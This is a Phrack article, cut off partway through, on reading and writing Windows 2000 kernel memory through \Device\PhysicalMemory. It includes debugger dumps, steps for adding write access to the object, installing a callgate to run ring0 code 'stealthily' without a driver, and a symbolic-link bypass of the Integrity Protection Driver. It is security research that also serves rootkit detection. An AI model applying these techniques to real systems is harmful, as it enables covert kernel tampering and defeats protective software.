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Phrack Inc. Volume 11 Issue 59 File 16
==Phrack Inc.==
Volume 0x0b, Issue 0x3b, Phile #0x10 of 0x12
|=----------------=[ Playing with Windows /dev/(k)mem ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ crazylord <crazylord@minithins.net> ]=---------------=|
1 - Introduction
2 - Introduction to Windows Objects
2.1 What are they ?
2.2 Their structure
2.3 Objects manipulation
3 - Introduction to \Device\PhysicalMemory
3.1 The object
3.2 Need writing access ?
4 - Having fun with \Device\PhysicalMemory
4.1 Reading/Writing to memory
4.3 What's a Callgate ?
4.4 Running ring0 code without the use of Driver
4.2 Deeper into Process listing
4.5 Bonus Track
5 - Sample code
5.1 kmem.h
5.2 chmod_mem.c
5.3 winkdump.c
5.2 winkps.c
5.4 fun_with_ipd.c
6 - Conclusion
7 - References
--[ 1 - Introduction
This papers covers an approch to Windows /dev/kmem linux like object. My
research has been done on a Windows 2000 professional version that means
that most of the code supplied with the article should work with all
Windows 2000 version and is supposed to work with Windows XP with little
code modification.
Windows 9x/Me are clearly not supported as they are not based on the same
kernel architecture.
--[ 2 - Introduction to Windows Objects
Windows 2000 implements an object models to provide a way of easy
manipulating the most basic elements of the kernel. We will briefly see in
this chapter what are these objects and how we can manipulate them.
----[ 2.1 What are they ?
According to Microsoft, the object manager was designed to meet these goals
* use named object for easy recognition
* support POSIX subsystem
* provide a easy way for manipulating system resources
* provide a charge mechanism to limit resource used by a process
* be C2 security compliant :) (C2: Controlled Access Protection)
There are 27 differents objects types:
* Adapter * File * Semaphore
* Callback * IoCompletion * SymbolicLink
* Controler * Job * Thread
* Desktop * Key * Timer
* Device * Mutant * Token
* Directory * Port * Type
* Driver * Process * WaitablePort
* Event * Profile * WindowStation
* EventPair * Section * WmiGuid
Most of these names are explicit enough to understand what's they are
about. I will just explain some obscure names:
* an EventPair is just a couple of 2 Event objects.
* a Mutant also called Mutex is a synchronization mechanism for resource
access.
* a Port is used by the LPC (Local Procedure Call) for Inter-Processus
Communication.
* a Section (file mapping) is a region of shared memory.
* a Semaphore is a counter that limit access to a resource.
* a Token (Access Token) is the security profile of an object.
* a WindowStation is a container object for desktop objects.
Objects are organised into a directory structure which looks like this:
- \
- ArcName (symbolic links to harddisk partitions)
- NLS (sections ...)
- Driver (installed drivers)
- WmiGuid
- Device (/dev linux like)
- DmControl
- RawDmVolumes
- HarddiskDmVolumes
- PhysicalDmVolumes
- Windows
- WindowStations
- RPC Control
- BaseNamedObjects
- Restricted
- ?? (current user directory)
- FileSystem (information about installable files system)
- ObjectTypes (contains all avaible object types)
- Security
- Callback
- KnownDlls (Contains sections of most used DLL)
The "??" directory is the directory for the current user and "Device" could
be assimiled as the "/dev" directory on Linux. You can explore these
structures using WinObj downloadable on Sysinternals web sites (see [1]).
----[ 2.2 Their structure
Each object is composed of 2 parts: the object header and the object body.
Sven B. Schreiber defined most of the non-documented header related
structures in his book "Windows 2000 Undocumented Secrets". Let's see the
header structure.
---
from w2k_def.h:
typedef struct _OBJECT_HEADER {
/*000*/ DWORD PointerCount; // number of references
/*004*/ DWORD HandleCount; // number of open handles
/*008*/ POBJECT_TYPE ObjectType; // pointer to object type struct
/*00C*/ BYTE NameOffset; // OBJECT_NAME offset
/*00D*/ BYTE HandleDBOffset; // OBJECT_HANDLE_DB offset
/*00E*/ BYTE QuotaChargesOffset; // OBJECT_QUOTA_CHARGES offset
/*00F*/ BYTE ObjectFlags; // OB_FLAG_*
/*010*/ union
{ // OB_FLAG_CREATE_INFO ? ObjectCreateInfo : QuotaBlock
/*010*/ PQUOTA_BLOCK QuotaBlock;
/*010*/ POBJECT_CREATE_INFO ObjectCreateInfo;
};
/*014*/ PSECURITY_DESCRIPTOR SecurityDescriptor;
/*018*/ } OBJECT_HEADER, *POBJECT_HEADER;
---
Each offset in the header are negative offset so if you want to find the
OBJECT_NAME structure from the header structure, you calculate it by doing:
address = object_header_address - name_offset
OBJECT_NAME structure allows the creator to make the object visible to
other processes by giving it a name.
OBJECT_HANDLE_DB structure allows the kernel to track who is currently
using this object.
OBJECT_QUOTA_CHARGES structure defines the resource charges levied against
a process when accessing this object.
The OBJECT_TYPE structure stocks global informations about the object type
like default security access, size of the object, default charge levied to
process using an object of this type, ...
A security descriptor is bound to the object so the kernel can restrict
access to the object.
Each object type have internal routines quite similar to C++ object
constructors and destructors:
* dump method - maybe for debugging purpose (always NULL)
* open method - called when an object handle is opened
* close method - called when an object handle is closed
* delete method - called when an object is deleted
* parse method - called when searching an object in a list of
object
* security method - called when reading/writing a protection for the
current object
* query name method - called when a thread request the name of the
object
* "ok to close" - called when a thread is closing a handle
The object body structure totally depends on the object type.
A very few object body structure are documented in the DDK. If you are
interested in these structures you may google :) or take a look at
chapeaux-noirs home page in the kernel_reversing section (see [4]).
---- [ 2.3 Object manipulation
On the user-mode point of view, objects manipulation is done through the
standart Windows API. For example, in order to access a file object you can
use fopen()/open() which will call CreateFile(). At this point, we switch
to kernel-mode (NtCreateFile()) which call IoCreateFile() in ntoskrnl.exe.
As you can see, we still don't know we are manipulating an "object".
By disassembling IoCreateFile(), you will see some function like
ObOpenObjectByName, ObfDereferenceObject, ...
(By the way you will only see such functions if you have win2k symbols
downloadable on Microsoft DDK web site (see [2]) and disassemblingbwith a
disassembler supporting Windows Symbols files like IDA/kd/Softicevbecause
these functions are not exported.)
Each function's name begining with "Ob" is related to the Object Manager.
So basically, a standart developper don't have to deal with object but we
want to.
All the object manager related function for user-mode are exported by
ntdll.dll. Here are some examples:
NtCreateDirectoryObject, NtCreateSymbolicLinkObject, NtDuplicateObject,
NtMakeTemporaryObject, NtOpenDirectoryObject, ...
Some of these functions are documented in the MSDN some (most ?) are not.
If you really want to understand the way object works you should better
take a look at the exported function of ntoskrnl.exe beginning with "Ob".
21 functions exported and 6 documented =]
If you want the prototypes of the 15 others, go on the ntifs.h home page
(see [3]) or to chapeaux-noirs web site (see [4]).
--[ 3 - Introduction to \Device\PhysicalMemory
As far as i know, \Device\PhysicalMemory object was discovered by
Mark Russinovich from Sysinternals (see [1]). He coded the first code using
it : Physmem avaible on his site. Enough greeting :), now we will try to
understand what is this object used for and what we can do with it.
----[ 3.1 - the object
In order to look at the object information, we are going to need a tool
like the Microsoft Kernel Debugger avaible in the Microsoft DDK (see [2]).
Ok let's start working ...
Microsoft(R) Windows 2000 Kernel Debugger
Version 5.00.2184.1
Copyright (C) Microsoft Corp. 1981-1999
Symbol search path is: c:\winnt\symbols
Loading Dump File [livekd.dmp]
Full Kernel Dump File
Kernel Version 2195 UP Free
Kernel base = 0x80400000 PsLoadedModuleList = 0x8046a4c0
Loaded kdextx86 extension DLL
Loaded userkdx extension DLL
Loaded dbghelp extension DLL
f1919231 eb30 jmp f1919263
kd> !object \Device\PhysicalMemory
!object \Device\PhysicalMemory
Object: e1001240 Type: (fd038880) Section
ObjectHeader: e1001228
HandleCount: 0 PointerCount: 3
Directory Object: fd038970 Name: PhysicalMemory
The basic object parser from kd (kernel debugger) tells us some information
about it. No need to explain all of these field means, most of them are
explicit enough if you have readen the article from the beginning if not
"jmp dword Introduction_to_Windows_Objects".
Ok the interesting thing is that it's a Section type object so that
clearly mean that we are going to deal with some memory related toy.
Now let's dump the object's header structure.
kd> dd e1001228 L 6
dd e1001228 L 6
e1001228 00000003 00000000 fd038880 12200010
e1001238 00000001 e1008bf8
details:
--> 00000003 : PointerCount = 3
--> 00000000 : HandleCount = 0
--> fd038880 : pointer to object type = 0xfd038880
--> 12200010 --> 10 : NameOffset
--> 00 : HandleDBOffset
--> 20 : QuotaChargeOffset
--> 12 : ObjectFlags = OB_FLAG_PERMANENT & OB_FLAG_KERNEL_MODE
--> 00000001 : QuotaBlock
--> e1008bf8 : SecurityDescriptor
Ok the NameOffset exists, well no surprise, this object has a name .. but
the HandleDBOffset don't. That means that the object doesnt track handle
assigned to it. The QuotaChargeOffset isn't really interesting and the
ObjectFlags tell us that this object is permanent and has been created by
the kernel.
For now nothing very interesting ...
We dump the object's name structure just to be sure we are not going the
wrong way :). (Remember that offset are negative).
kd> dd e1001228-10 L3
dd e1001228-10 L3
e1001218 fd038970 001c001c e1008ae8
--> fd038970 : pointer to object Directory
--> 001c001c --> 001c : UNICODE_STRING.Length
--> 001c : UNICODE_STRING.MaximumLength
--> e1008ae8 : UNICODE_STRING.Buffer (pointer to wide char string)
kd> du e1008ae8
du e1008ae8
e1008ae8 "PhysicalMemory"
Ok now, let's look at the interesting part, the security descriptor:
kd> !sd e1008bf8
!sd e1008bf8
->Revision: 0x1
->Sbz1 : 0x0
->Control : 0x8004
SE_DACL_PRESENT
SE_SELF_RELATIVE
->Owner : S-1-5-32-544
->Group : S-1-5-18
->Dacl :
->Dacl : ->AclRevision: 0x2
->Dacl : ->Sbz1 : 0x0
->Dacl : ->AclSize : 0x44
->Dacl : ->AceCount : 0x2
->Dacl : ->Sbz2 : 0x0
->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[0]: ->AceFlags: 0x0
->Dacl : ->Ace[0]: ->AceSize: 0x14
->Dacl : ->Ace[0]: ->Mask : 0x000f001f
->Dacl : ->Ace[0]: ->SID: S-1-5-18
->Dacl : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[1]: ->AceFlags: 0x0
->Dacl : ->Ace[1]: ->AceSize: 0x18
->Dacl : ->Ace[1]: ->Mask : 0x0002000d
->Dacl : ->Ace[1]: ->SID: S-1-5-32-544
->Sacl : is NULL
In other words that means that the \Device\PhysicalMemory object has this
following rights:
user SYSTEM: Delete, Change Permissions, Change Owner, Query Data,
Query State, Modify State
user Administrator: Query Data, Query State
So basically, user Administrator as no right to Write here but user
SYSTEM do, so that mean that Administrator does too.
You have to notice that in fact THIS IS NOT LIKE /dev/kmem !!
/dev/kmem maps virtual memory on Linux, \Device\PhysicalMemory maps
physical memory, the right title for this article should be "Playing with
Windows /dev/mem" as /dev/mem maps physical memory but /dev/kmem sounds
better and much more wellknown :).
As far as i know the Section object body structure hasn't been yet reversed
as i'm writing the article so we can't analyze it's body.
----[ 3.2 need writing access ?
Ok .. we are user administrator and we want to play with our favourite
Object, what can we do ? As most Windows administrators should know it is
possible to run any process as user SYSTEM using the schedule service.
If you want to be sure that you can, just start the schedule with
"net start schedule" and then try add a task that launch regedit.exe
c:\>at <when> /interactive regedit.exe
After that try to look at the SAM registry key, if you can, you are user
SYSTEM otherwise you are still administrator since only user SYSTEM has
reading rights.
Ok that's fine if we are user Administrator but what's up if we want to
allow somebody/everyone to write to \Device\PhysicalMemory
(for learning purpose off course).
We just have to add another ACL (access-control list) to this object.
To do this you have to follow these steps:
1) Open a handle to \Device\PhysicalMemory (NtOpenSection)
2) Retrieve the security descriptor of it (GetSecurityInfo)
3) Add Read/Write authorization to the current ACL (SetEntriesInAcl)
4) Update the security descriptor (SetSecurityInfo)
5) Close the handle previously opened
see chmod_mem.c sample code.
After having run chmod_mem.exe we dump another time the security descriptor
of \Device\PhysicalMemory.
kd> !object \Device\PhysicalMemory
!object \Device\PhysicalMemory
Object: e1001240 Type: (fd038880) Section
ObjectHeader: e1001228
HandleCount: 0 PointerCount: 3
Directory Object: fd038970 Name: PhysicalMemory
kd> dd e1001228+0x14 L1
dd e1001228+0x14 L1
e100123c e226e018
kd> !sd e226e018
!sd e226e018
->Revision: 0x1
->Sbz1 : 0x0
->Control : 0x8004
SE_DACL_PRESENT
SE_SELF_RELATIVE
->Owner : S-1-5-32-544
->Group : S-1-5-18
->Dacl :
->Dacl : ->AclRevision: 0x2
->Dacl : ->Sbz1 : 0x0
->Dacl : ->AclSize : 0x68
->Dacl : ->AceCount : 0x3
->Dacl : ->Sbz2 : 0x0
->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[0]: ->AceFlags: 0x0
->Dacl : ->Ace[0]: ->AceSize: 0x24
->Dacl : ->Ace[0]: ->Mask : 0x00000002
->Dacl : ->Ace[0]: ->SID: S-1-5-21-1935655697-436374069-1060284298-500
->Dacl : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[1]: ->AceFlags: 0x0
->Dacl : ->Ace[1]: ->AceSize: 0x14
->Dacl : ->Ace[1]: ->Mask : 0x000f001f
->Dacl : ->Ace[1]: ->SID: S-1-5-18
->Dacl : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[2]: ->AceFlags: 0x0
->Dacl : ->Ace[2]: ->AceSize: 0x18
->Dacl : ->Ace[2]: ->Mask : 0x0002000d
->Dacl : ->Ace[2]: ->SID: S-1-5-32-544
->Sacl : is NULL
Our new Ace (access-control entry) is Ace[0] with a 0x00000002
(SECTION_MAP_WRITE) right.
For more information about Security win32 API see MSDN ([9]).
--[ 4 - Having fun with \Device\PhysicalMemory
Why playing with \Device\PhysicalMemory ? reading, writing, patching memory
i would say. That should be enough :)
----[ 4.1 Reading/Writing to memory
Ok let's start playing...
In order to read/write to \Device\PhysicalMemory, you have do this way:
1) Open a Handle to the object (NtOpenSection)
2) Translate the virtual address into a physical address
3) Map the section to a memory space (NtMapViewOfSection)
4) Read/Write data where the memory has been mapped
5) Unmap the section (NtUnmapViewOfSection)
6) Close the object's Handle (NtClose)
Our main problem for now is how to translate the virtual address to a
physical address. We know that in kernel-mode (ring0), there is a function
called MmGetPhysicalAddress exported by ntoskrnl.exe which do that.
But we are in ring3 so we have to "emulate" such function.
---
from ntddk.h
PHYSICAL_ADDRESS MmGetPhysicalAddress(void *BaseAddress);
---
PHYSICAL_ADDRESS is a quad-word (64 bits). At the beginning i wanted to
join with the article the analysis of the assembly code but it's too long.
And as address translation is sort of generic (cpu relative) i only go fast
on this subject.
The low part of the quad-word is passed in eax and the high part in edx.
For virtual to physical address translation we have 2 cases:
* case 0x80000000 <= BaseAddress < 0xA0000000:
the only thing we need to do is to apply a 0x1FFFF000 mask to the virtual
address.
* case BaseAddress < 0x80000000 && BaseAddress >= 0xA0000000
This case is a problem for us as we have no way to translate addresses in
this range because we need to read cr3 register or to run non ring3
callable assembly instruction. For more information about Paging on Intel
arch take a look at Intel Software Developer's Manual Volume 3 (see [5]).
EliCZ told me that by his experience we can guess a physical address for
this range by masking the byte offset and keeping a part of the page
directory index. mask: 0xFFFF000.
We can know produce a light version of MmGetPhysicalAddress()
PHYSICAL_MEMORY MyGetPhysicalAddress(void *BaseAddress) {
if (BaseAddress < 0x80000000 || BaseAddress >= 0xA0000000) {
return(BaseAddress & 0xFFFF000);
}
return(BaseAddress & 0x1FFFF000);
}
The problem with the addresses outside the [0x80000000, 0xA0000000] is that
they can't be guessed with a very good sucess rate.
That's why if you want good results you would rather call the real
MmGetPhysicalAddress(). We will see how to do that in few chapter.
See winkdump.c for sample memory dumper.
After some tests using winkdump i realised that in fact there is another
problem in our *good* range :>. When translating virtual address above
0x877ef000 the physical address is getting above 0x00000000077e0000.
And on my system this is not *possible*:
kd> dd MmHighestPhysicalPage l1
dd MmHighestPhysicalPage l1
8046a04c 000077ef
We can see that the last physical page is locate at 0x0000000077ef0000.
So in fact that means that we can only dump a small section of the memory.
But anyway the goal of this chapter is much more an explaination about
how to start using \Device\PhysicalMemory than to create a *good* memory
dumper. As the dumpable range is where ntoskrnl.exe and HAL.dll (Hardware
Abstraction Layer) are mapped you can still do some stuff like dumping the
syscall table:
kd> ? KeServiceDescriptorTable
? KeServiceDescriptorTable
Evaluate expression: -2142852224 = 8046ab80
0x8046ab80 is the address of the System Service Table structure
which looks like:
typedef struct _SST {
PDWORD ServiceTable; // array of entry points
PDWORD CounterTable; // array of usage counters
DWORD ServiceLimit; // number of table entries
PBYTE ArgumentTable; // array of byte counts
} SST, *PSST;
C:\coding\phrack\winkdump\Release>winkdump.exe 0x8046ab80 16
*** win2k memory dumper using \Device\PhysicalMemory ***
Virtual Address : 0x8046ab80
Allocation granularity: 65536 bytes
Offset : 0xab80
Physical Address : 0x0000000000460000
Mapped size : 45056 bytes
View size : 16 bytes
d8 04 47 80 00 00 00 00 f8 00 00 00 bc 08 47 80 | ..G...........G.
Array of pointers to syscalls: 0x804704d8 (symbol KiServiceTable)
Counter table : NULL
ServiceLimit : 248 (0xf8) syscalls
Argument table : 0x804708bc (symbol KiArgumentTable)
We are not going to dump the 248 syscalls addresses but just take a look at
some:
C:\coding\phrack\winkdump\Release>winkdump.exe 0x804704d8 12
*** win2k memory dumper using \Device\PhysicalMemory ***
Virtual Address : 0x804704d8
Allocation granularity: 65536 bytes
Offset : 0x4d8
Physical Address : 0x0000000000470000
Mapped size : 4096 bytes
View size : 12 bytes
bf b3 4a 80 6b e8 4a 80 f3 de 4b 80 | ..J.k.J...K.
* 0x804ab3bf (NtAcceptConnectPort)
* 0x804ae86b (NtAccessCheck)
* 0x804bdef3 (NtAccessCheckAndAuditAlarm)
In the next section we will see what are callgates and how we can use them
with \Device\PhysicalMemory to fix problems like our address translation
thing.
----[ 4.2 What's a Callgate
Callgate are mechanisms that enable a program to execute functions in
higher privilege level than it is. Like a ring3 program could execute ring0
code.
In order to create a Callgate yo must specify:
1) which ring level you want the code to be executed
2) the address of the function that will be executed when jumping to
ring0
3) the number of arguments passed to the function
When the callgate is accessed, the processor first performs a privilege
check, saves the current SS, ESP, CS and EIP registers, then it loads the
segment selector and stack pointer for the new stack (ring0 stack) from the
TSS into the SS and ESP registers.
At this point it can switch to the new ring0 stack.
SS and ESP registers are pushed onto the stack, the arguments are copied.
CS and EIP (saved) registers are now pushed onto the stack for the calling
procedure to the new stack. The new segment selector is loaded for the new
code segment and instruction pointer from the callgate is loaded into CS
and EIP registers. Finnaly :) it jumps to the function's address specified
when creating the callgate.
The function executed in ring0 MUST clean its stack once it has finished
executing, that's why we are going to use __declspec(naked) (MS VC++ 6)
when defining the function in our code (similar to __attribute__(stdcall)
for GCC).
---
from MSDN:
__declspec( naked ) declarator
For functions declared with the naked attribute, the compiler generates
code without prolog and epilog code. You can use this feature to write your
own prolog/epilog code using inline assembler code.
---
For more information about callgates look at Intel Software Developer's
Manual Volume 1 (see [5]).
In order to install a Callgate we have 2 choices: or we manually seek a
free entry in the GDT where we can place our Callgate or we use some
undocumented functions of ntoskrnl.exe. But these functions are only
accessible from ring0. It's useless in our case since we are not in ring0
but anyway i will very briefly show you them:
NTSTATUS KeI386AllocateGdtSelectors(USHORT *SelectorArray,
USHORT nSelectors);
NTSTATUS KeI386ReleaseGdtSelectors(USHORT *SelectorArray,
USHORT nSelectors);
NTSTATUS KeI386SetGdtSelector(USHORT Selector,
PVOID Descriptor);
Their names are explicits enough i think :). So if you want to install a
callgate, first allocate a GDT selector with KeI386AllocateGdtSelectors(),
then set it with KeI386SetGdtSelector. When you are done just release it
with KeI386ReleaseGdtSelectors.
That's interesting but it doesn't fit our need. So we need to set a GDT
selector while executing code in ring3. Here comes \Device\PhysicalMemory.
In the next section i will explain how to use \Device\PhysicalMemory to
install a callgate.
----[ 4.3 Running ring0 code without the use of Driver
First question, "why running ring0 code without the use of Device Driver ?"
Advantages:
* no need to register a service to the SCM (Service Control Manager).
* stealth code ;)
Inconvenients:
* code would never be as stable as if running from a (well coded) device
driver.
* we need to add write access to \Device\PhysicalMemory
So just keep in mind that you are dealing with hell while running ring0
code through \Device\PhysicalMemory =]
Ok now we can write the memory and we know that we can use callgate to run
ring0 so what are you waiting ?
First we need to know what part of the section to map to read the GDT
table. This is not a problem since we can access the global descriptor
table register using "sgdt" assembler instruction.
typedef struct _KGDTENTRY {
WORD LimitLow; // size in bytes of the GDT
WORD BaseLow; // address of GDT (low part)
WORD BaseHigh; // address of GDT (high part)
} KGDTENTRY, *PKGDTENTRY;
KGDT_ENTRY gGdt;
_asm sgdt gGdt; // load Global Descriptor Table register into gGdt
We translate the Virtual address from BaseLow/BaseHigh to a physical
address and then we map the base address of the GDT table.
We are lucky because even if the GDT table adddress is not in our *wanted*
range, it will be right translated (in 99% cases).
PhysicalAddress = GetPhysicalAddress(gGdt.BaseHigh << 16 | gGdt.BaseLow);
NtMapViewOfSection(SectionHandle,
ProcessHandle,
BaseAddress, // pointer to mapped memory
0L,
gGdt.LimitLow, // size to map
&PhysicalAddress,
&ViewSize, // pointer to mapped size
ViewShare,
0, // allocation type
PAGE_READWRITE); // protection
Finally we loop in the mapped memory to find a free selector by looking at
the "Present" flag of the Callgate descriptor structure.
typedef struct _CALLGATE_DESCRIPTOR {
USHORT offset_0_15; // low part of the function address
USHORT selector;
UCHAR param_count :4;
UCHAR some_bits :4;
UCHAR type :4; // segment or gate type
UCHAR app_system :1; // segment descriptor (0) or system segment (1)
UCHAR dpl :2; // specify which privilege level can call it
UCHAR present :1;
USHORT offset_16_31; // high part of the function address
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;
offset_0_15 and offset_16_31 are just the low/high word of the function
address. The selector can be one of this list:
--- from ntddk.h
#define KGDT_NULL 0
#define KGDT_R0_CODE 8 // <-- what we need (ring0 code)
#define KGDT_R0_DATA 16
#define KGDT_R3_CODE 24
#define KGDT_R3_DATA 32
#define KGDT_TSS 40
#define KGDT_R0_PCR 48
#define KGDT_R3_TEB 56
#define KGDT_VDM_TILE 64
#define KGDT_LDT 72
#define KGDT_DF_TSS 80
#define KGDT_NMI_TSS 88
---
Once the callgate is installed there are 2 steps left to supreme ring0
power: coding our function called with the callgate and call the callgate.
As said in section 4.2, we need to code a function with a ring0
prolog / epilog and we need to clean our stack. Let's take a look at this
sample function:
void __declspec(naked) Ring0Func() { // our nude function :]
// ring0 prolog
_asm {
pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack
pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack
cli // disable interrupt
}
// execute your ring0 code here ...
// ring0 epilog
_asm {
popfd // restore registers pushed by pushfd
popad // restore registers pushed by pushad
retf // you may retf <sizeof arguments> if you pass arguments
}
}
Pushing all registers onto the stack is the way we use to save all
registers while the ring0 code execution.
1 step left, calling the callgate...
A standart call won't fit as the callgate procedure is located in a
different privilege level (ring0) than the current code privilege level
(ring3).
We are doing to do a "far call" (inter-privilege level call).
So in order to call the callgate you must do like this:
short farcall[3];
farcall[0 --> 1] = offset from the target operand. This is ignored when a
callgate is used according to "IA-32 Intel Architecture Software
Developer's Manual (Volume 2)" (see [5]).
farcall[2] = callgate selector
At this time we can call our callgate using inline assembly.
_asm {
push arg1
...
push argN
call fword ptr [farcall]
}
I forgot to mention that as it's a farcall first argument is located at
[ebp+0Ch] in the callgate function.
----[ 4.4 Deeper into Process listing
Now we will see how to list process in the kernel the lowest level we can
do :).
The design goal of creating a Kernel process lister at the lowest level
could be to see process hidden by a rootkit (taskmgr.exe patched, Syscall
hooked, ...).
You remember that Jamirocai song: "Going deeper underground". We will do
the same. Let's see which way we can use to list process.
- Process32First/Process32Next, the easy documented way (ground level)
- NtQuerySystemInformation using Class 5, Native API way. Basicly not
documented but there are many sample on internet (level -1)
- ExpGetProcessInformation, called internally by
NtQuerySystemInformation (level -2)
- Reading the double chained list PsActiveProcessHead (level -3) :p
Ok now we are deep enough.
The double chained list scheme looks like:
APL (f): ActiveProcessLinks.FLink
APL (b): ActiveProcessLinks.BLink
process1 process2 process3 processN
0x000 |----------| |----------| |----------|
| EPROCESS | | EPROCESS | | EPROCESS |
| ... | | ... | | ... |
0x0A0 | APL (f) |----->| APL (f) |----->| APL (f) |-----> ...
0x0A4 | APL (b) | \-<--| APL (b) | \-<--| APL (b) | \-<-- ...
| ... | | ... | | ... |
|----------| |----------| |----------|
As you can see (well ... my scheme is not that good :/) the next/prev
pointers of the ActiveProcessLinks struct are not _EPROCESS structure
pointers. They are pointing to the next LIST_ENTRY struct. That means that
if we want to retrieve the _EPROCESS structure address, we have to adjust
the pointer.
(look at _EPROCESS struct definition in kmem.h in sample code section)
LIST_ENTRY ActiveProcessLinks is at offset 0x0A0 in _EPROCESS struct:
--> Flink = 0x0A0
--> Blink = 0x0A4
So we can quickly create some macros for later use:
#define TO_EPROCESS(_a) ((char *) _a - 0xA0) // Flink to _EPROCESS
#define TO_PID(_a) ((char *) _a - 0x4) // Flink to UniqueProcessId
#define TO_PNAME(_a) ((char *) _a + 0x15C) // Flink to ImageFileName
The head of the LIST_ENTRY list is PsActiveProcessHead. You can get its
address with kd for example:
kd> ? PsActiveProcessHead
? PsActiveProcessHead
Evaluate expression: -2142854784 = 8046a180
Just one thing to know. As this List can change very quickly, you may want
to lock it before reading it. Reading ExpGetProcessInformation assembly, we
can see:
mov ecx, offset _PspActiveProcessMutex
call ds:__imp_@ExAcquireFastMutex@4
[...]
mov ecx, offset _PspActiveProcessMutex
call ds:__imp_@ExReleaseFastMutex@4
ExAcquireFastMutex and ExReleaseFastMutex are __fastcall defined so the
arguments are pushed in reverse order (ecx, edx,...). They are exported by
HAL.dll. By the way i don't lock it in winkps.c :)
Ok, first we install a callgate to be able to execute the ring0 function
(MmGetPhysicalAddress and ExAcquireFastMutex/ExReleaseFastMutex if you
want), then we list the process and finally we remove the callgate.
See winkps.c in sample code section.
Installing the callgate is an easy step as you can see in the sample code.
The hard part is reading the LIST_ENTRY struct. It's kinda strange because
reading a chained list is not supposed to be hard but we are dealing with
physical memory.
First in order to avoid too much use of our callgate we try to use it as
less as we can. Remember, running ring0 code in ring3 is not
*a good thing*.
Problems could happend on the dispatch level where the thread is executed
and second your thread (i think) have a lower priority than a device
driver even if you use SetThreadPriority().
The scheduler base his scheduling on 2 things, the BasePriority of a
process and his Current priority, when you modify thread priority using
win32 API SetThreadPriority(), the current priority is changed but it's
relative to the base priority. And there is no way to change base priority
of a process in ring3.
So in order to prevent mapping the section for every process i map 1mb
section each time i need to map one. I think it's the best choice since
most of the EPROCESS structures are located around 0xfce***** - 0xfcf*****.
C:\coding\phrack\winkps\Release>winkps
*** win2k process lister ***
Allocation granularity: 65536 bytes
MmGetPhysicalAddress : 0x804374e0
virtual address of GDT : 0x80036000
physical address of GDT: 0x0000000000036000
Allocated segment : 3fb
mapped 0xb000 bytes @ 0x00430000 (init Size: 0xa184 bytes)
mapped 0x100000 bytes @ 0x0043e000 (init Size: 0x100000 bytes)
+ 8 System
mapped 0x100000 bytes @ 0x0054e000 (init Size: 0x100000 bytes)
+ 136 smss.exe
+ 160 csrss.exe
+ 156 winlogon.exe
+ 208 services.exe
+ 220 lsass.exe
+ 420 regsvc.exe
+ 436 svchost.exe
+ 480 svchost.exe
+ 524 WinMgmt.exe
mapped 0x100000 bytes @ 0x0065e000 (init Size: 0x100000 bytes)
+ 656 Explorer.exe
+ 764 OSA.EXE
+ 660 mdm.exe
+ 752 cmd.exe
+ 532 msdev.exe
+ 604 ssh.exe
+ 704 Livekd.exe
+ 716 i386kd.exe
+ 448 uedit32.exe
+ 260 winkps.exe
3 sections mapping + 1 for selecting the first entry (process) looks good.
I will just briefly describe the winkps.c but better take time to read the
code.
Flow of winkps.c
- GetSystemInfo()
grab Allocation granularity on the system. (used for calculating offset
on address translation).
- LoadLibrary()
get the address of MmGetPhysicalAddress in ntoskrnl.exe. This can also
be done by parsing the PE header.
- NtOpenSection()
open \Device\PhysicalMemory r/w.
- InstallCallgate()
Map the section for install/remove callgate and install the callgate
using second argument as callgate function.
- DisplayProcesses()
main loop. Errors are catched by the execption handler.
I do this in order to try cleaning the callgate even if there is an
error like access violation (could happend if bad mapping).
- UninstallCallgate()
Remove the callgate and unmap the mapping of the section.
- NtClose()
Simply close the opened HANDLE :)
Now it's time you to read the code and try to recode winkdump.c with a
better address translation support using a callgate :>
----[ 4.5 Bonus Track
As far as i know, the only product that try to restrict access to
\Device\PhysicalMemory is "Integrity Protection Driver (IPD)" from Pedestal
Software (see [6]).
---
from README:
The IPD forbids any process from opening \Device\PhysicalMemory.
---
ok so .. let's say we want to use ipd and we still want to play with
\Device\PhysicalMemory heh :). I don't really know if this product is well-
known but anyway i wanted to bypass its protection.
In order to restrict access to \Device\PhysicalMemory IPD hooks
ZwOpenSection() and check that the Section being opened is not called
"\Device\PhysicalMemory".
---
from h_mem.c
if (restrictEnabled()) {
if (ObjectAttributes && ObjectAttributes->ObjectName &&
ObjectAttributes->ObjectName->Length>0) {
if (_wcsicmp(ObjectAttributes->ObjectName->Buffer,
L"\\Device\\PhysicaMemory")==0) {
WCHAR buf[200];
swprintf(buf,
L"Blocking device/PhysicalMemory access,
procid=0x%x\n", PsGetCurrentProcessId());
debugOutput(buf);
return STATUS_ACCESS_DENIED;
}
}
}
---
_wcsicmp() perform a lowercase comparison of 2 Unicode buffer so if we find
a way to open the object using another name we are done :).
In first chapter we have seen that there were a symbolic link object type
so what's about creating a symbolic link object linked to
\Device\PhysicalMemory ?
By looking at ntdll.dll export table, you can find a function called
"NtCreateSymbolicLinkObject" but like most of interesting things it's not
documented. The prototype is like this:
NTSTATUS NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObAttributes,
PUNICODE_STRING ObName);
So we just have to call this function with "\Device\PhysicalMemory" as the
ObName and we set our new name in the OBJECT_ATTRIBUTES structures. We use
"\??\" as root directory for our object so the name is now
"\??\hack_da_ipd".
At the beginning i was asking myself how the kernel would resolve the
symbolic link when calling NtOpenSection with "\??\hack_da_ipd". If
NtOpenSection was checking that the destination object is a symbolic link
and then recall NtOpenSection with the real name of the object, our
symbolic link would be useless because IPD could detect it.
So i straced it:
---
[...]
3 NtCreateSymbolicLinkObject(0x1, {24, 0, 0x40, 0, 0,
"\??\hack_da_ipd"}, 1245028, ... 48, ) == 0x0
4 NtAllocateVirtualMemory(-1, 1244448, 0, 1244480, 4096, 4, ... ) == 0x0
